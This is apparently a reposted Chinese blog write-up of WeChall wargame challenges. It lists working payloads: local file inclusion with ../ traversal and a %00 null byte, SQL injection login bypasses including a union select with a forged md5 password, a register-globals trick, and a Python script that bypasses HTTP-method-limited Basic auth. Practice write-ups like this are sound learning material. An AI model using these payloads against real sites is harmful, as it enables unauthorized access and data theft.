WeChall writeup | 易学教程

PHP - Local File Inclusion

###############################
### Here is your exploit :) ###
###############################
$code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\'.html\';';
$code_emulate_pnb = '$filename = Common::substrUntil($filename, "\\0");'; # Emulate Poison Null Byte for PHP>=5.3.4
$code2 = 'include $filename;';
### End of exploit ###

将$code后的.html去掉，则可以构造语句截断url编码后%00,另一方面利用../跳转目录

则提交Payload

http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

PHP-0817

Payload:

https://www.wechall.net/challenge/php0817/index.php?which=solution

Training:MYSQL I

Payload:

Username='admin' and 1=1#

Training:MYSQL II

Payload:

username=admin' union select 1,'admin',md5('password');#

PHP - Register Globals

Payload:

http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin

Tips:

Register Globals 已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

Training: LSB

利用Stegsolve打开图片

Limited Access

AuthUserFile .htpasswd   #密码文件的路径
AuthGroupFile /dev/null #用户组文件路径
AuthName "Authorization Required for the Limited Access Challenge"
AuthType Basic               #验证类型
<Limit GET>                   #允许GET方式访问
require valid-user            #要求验证过的用户进入
</Limit>

参考链接:http://hack.77169.com/HTML/20150212133446.shtm

Payload:
import requests
cookie={'WC':'9xxxxx-xxxxx-xxxxxxxxxxx'}
url='http://www.wechall.net/challenge/wannabe7331/limited_access/protected/protected.php'
res=requests.post(url,cookies=cookie)

Limited Access Too

AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Too Challenge"
AuthType Basic
<Limit GET POST HEAD PUT DELETE CONNECT OPTIONS>
require valid-user
</Limit>

忽略了PATCH,TRACE方法

Payload:
import requests
cookie={'WC':'9690011-32984-bgehHEDu1I5z7iBn'}
url='http://www.wechall.net/challenge/wannabe7331/limited_access_too/protected/protected.php'

TRACE用curl -X TRACE url显示方法不允许，不知道为什么

来源：https://www.cnblogs.com/vincebye/p/7113447.html

标签

payload